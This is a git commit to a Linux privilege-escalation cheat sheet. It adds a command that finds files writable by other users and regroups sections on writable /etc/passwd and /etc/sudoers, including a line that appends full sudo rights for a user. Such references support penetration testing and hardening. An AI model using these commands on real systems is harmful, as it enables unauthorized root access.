Linux PrivEsc - Writable files

This commit is contained in:
Swissky 2019-06-10 11:09:02 +02:00
parent 94a60b43d6
commit 8cec2e0ca3

View file

@ -35,8 +35,9 @@
* [sudo_inject](#sudo-inject) * [sudo_inject](#sudo-inject)
* [GTFOBins](#gtfobins) * [GTFOBins](#gtfobins)
* [Wildcard](#wildcard) * [Wildcard](#wildcard)
* [Writable /etc/passwd](#writable-etcpasswd) * [Writable files](#writable-files)
* [Writable /etc/sudoers](#writable-etcsudoers) * [Writable /etc/passwd](#writable-etcpasswd)
* [Writable /etc/sudoers](#writable-etcsudoers)
* [NFS Root Squashing](#nfs-root-squashing) * [NFS Root Squashing](#nfs-root-squashing)
* [Shared Library](#shared-library) * [Shared Library](#shared-library)
* [ldconfig](#ldconfig) * [ldconfig](#ldconfig)
@ -369,8 +370,13 @@ tar cf archive.tar *
Tool: [wildpwn](https://github.com/localh0t/wildpwn) Tool: [wildpwn](https://github.com/localh0t/wildpwn)
## Writable files
## Writable /etc/passwd ```powershell
find / -writable ! -user \`whoami\` -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null
```
### Writable /etc/passwd
First generate a password with one of the following commands First generate a password with one of the following commands
@ -400,7 +406,7 @@ su - dummy
NOTE: In BSD platforms `/etc/passwd` is located at `/etc/pwd.db` and `/etc/master.passwd`, also the `/etc/shadow` is renamed to `/etc/spwd.db`. NOTE: In BSD platforms `/etc/passwd` is located at `/etc/pwd.db` and `/etc/master.passwd`, also the `/etc/shadow` is renamed to `/etc/spwd.db`.
## Writable /etc/sudoers ### Writable /etc/sudoers
```powershell ```powershell
echo "username ALL=(ALL:ALL) ALL">>/etc/sudoers echo "username ALL=(ALL:ALL) ALL">>/etc/sudoers